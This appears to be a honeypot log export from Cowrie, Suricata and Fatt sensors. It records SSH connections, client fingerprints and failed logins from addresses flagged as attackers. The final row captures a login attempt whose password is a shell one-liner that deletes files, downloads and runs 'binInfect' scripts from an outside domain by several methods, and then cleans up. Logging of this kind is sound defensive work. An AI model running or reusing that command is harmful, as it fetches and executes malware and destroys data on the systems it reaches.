mac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 33390, "dest_port": 22, "timestamp": "2021-09-20T11:10:39.199584", "@timestamp": "2021-09-20T11:10:39.199Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
25520	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:10:38.733332+03	2021-09-20 14:15:10.246502+03	{"_id": "-QbmAnwBvYTbRNuEmRv6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.110.220.49:49292 (192.168.176.2:22) [session: ec4004d80de8]", "session": "ec4004d80de8", "@version": "1", "protocol": "ssh", "src_port": 49292, "dest_port": 22, "timestamp": "2021-09-20T11:10:38.733332Z", "@timestamp": "2021-09-20T11:10:38.733Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
25521	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:10:38.923392+03	2021-09-20 14:15:10.247471+03	{"_id": "-gbmAnwBvYTbRNuEmRv6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:33390 (192.168.176.2:22) [session: 60d4f6908b91]", "session": "60d4f6908b91", "@version": "1", "protocol": "ssh", "src_port": 33390, "dest_port": 22, "timestamp": "2021-09-20T11:10:38.923392Z", "@timestamp": "2021-09-20T11:10:38.923Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
25522	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:10:38.685672+03	2021-09-20 14:15:10.248502+03	{"_id": "BgbmAnwBvYTbRNuEmRz6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "6de13dc2d907", "@version": "1", "duration": 3.2693092823028564, "timestamp": "2021-09-20T11:10:38.685672Z", "@timestamp": "2021-09-20T11:10:38.685Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
25523	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:10:38.732334+03	2021-09-20 14:15:10.249499+03	{"_id": "BwbmAnwBvYTbRNuEmRz6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [client/client] failed", "session": "257053ae9794", "@version": "1", "password": "client", "username": "client", "timestamp": "2021-09-20T11:10:38.732334Z", "@timestamp": "2021-09-20T11:10:38.732Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
25524	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:10:38.733935+03	2021-09-20 14:15:10.250501+03	{"_id": "CAbmAnwBvYTbRNuEmRz6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "ec4004d80de8", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:10:38.733935Z", "@timestamp": "2021-09-20T11:10:38.733Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
25525	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:10:39.012127+03	2021-09-20 14:15:10.2515+03	{"_id": "CQbmAnwBvYTbRNuEmRz6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "ec4004d80de8", "@version": "1", "timestamp": "2021-09-20T11:10:39.012127Z", "@timestamp": "2021-09-20T11:10:39.012Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
25526	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:10:39.076653+03	2021-09-20 14:15:10.252505+03	{"_id": "CgbmAnwBvYTbRNuEmRz6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "60d4f6908b91", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:10:39.076653Z", "@timestamp": "2021-09-20T11:10:39.076Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
25527	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:10:39.200265+03	2021-09-20 14:15:10.25447+03	{"_id": "CwbmAnwBvYTbRNuEmRz6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "60d4f6908b91", "@version": "1", "timestamp": "2021-09-20T11:10:39.200265Z", "@timestamp": "2021-09-20T11:10:39.200Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
25528	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:10:39.21685+03	2021-09-20 14:15:10.255505+03	{"_id": "DAbmAnwBvYTbRNuEmRz6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "cfc54c5f0e4f", "@version": "1", "duration": 2.7548277378082275, "timestamp": "2021-09-20T11:10:39.216850Z", "@timestamp": "2021-09-20T11:10:39.216Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
25529	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:10:39.199052+03	2021-09-20 14:15:10.2575+03	{"_id": "DQbmAnwBvYTbRNuEnBw0", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 858524975292921, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 33390, "dest_port": 22, "timestamp": "2021-09-20T11:10:39.199052Z", "@timestamp": "2021-09-20T11:10:39.199Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
25530	116.110.220.49	109.199.241.180	Fatt	2021-09-20 14:10:39.839868+03	2021-09-20 14:15:10.25847+03	{"_id": "DwbmAnwBvYTbRNuEnRxL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 58132, "dest_port": 22, "timestamp": "2021-09-20T11:10:39.839868", "@timestamp": "2021-09-20T11:10:39.839Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
25531	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:10:39.543638+03	2021-09-20 14:15:10.259471+03	{"_id": "HAbmAnwBvYTbRNuEnRze", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "0f5a0ac5508d", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:10:39.543638Z", "@timestamp": "2021-09-20T11:10:39.543Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
25532	109.104.151.106	109.199.241.180	Cowrie	2021-09-20 14:10:39.831868+03	2021-09-20 14:15:10.26147+03	{"_id": "FgbmAnwBvYTbRNuEnRze", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "109.104.151.106", "asn": 48265, "as_org": "ITirana Sh.p.k.", "latitude": 41.0, "location": {"lat": 41.0, "lon": 20.0}, "timezone": "Europe/Tirane", "longitude": 20.0, "country_name": "Albania", "country_code2": "AL", "country_code3": "AL", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "109.104.151.106", "eventid": "cowrie.login.failed", "message": "login attempt [sh/cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; rm -rf *; wget http://betaalverzoek.ir/binInfect.sh; curl -O http://betaalverzoek.ir/binInfect.sh; chmod 777 binInfect.sh; sh binInfect.sh; tftp betaalverzoek.ir -c get binInfect.sh; chmod 777 binInfect.sh; sh binInfect.sh; tftp -r binInfect2.sh -g betaalverzoek.ir; chmod 777 binInfect2.sh; sh binInfect2.sh; ftpget -v -u anonymous -p anonymous -P 21 betaalverzoek.ir binInfect1.sh binInfect1.sh; sh binInfect1.sh; rm -rf binInfect.sh binInfect.sh binInfect2.sh binInfect1.sh; rm -rf *] failed", "session": "f569d9655797", "@version": "1", "password": "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; rm -rf *; wget http://betaalverzoek.ir/binInfect.sh; curl -O http://betaalverzoek.ir/binInfect.sh; chmod 777 binInfect.sh; sh binInfect.sh; tftp betaalverzoek.ir -c get binInfect.sh; chmod 777 binInfect.sh; sh binInfect.sh; tftp -r binInfect2.sh -g betaalverzoek.ir; chmod 777 binInfect2.sh; sh binInfect2.sh; ftpget -v -u anonymous -p anonymous -P 21 betaalverzoek.ir binInfect1.sh binInfect1.sh; sh binInfect1.sh; rm -rf binInfect.sh binInfect.sh binInfect2.sh binInfect1.sh; rm -rf *", "username": "sh", "timestamp": "2021-09-20T11:10:39.831868Z", "@timestamp": "2021-09-20T11:10:39.831Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
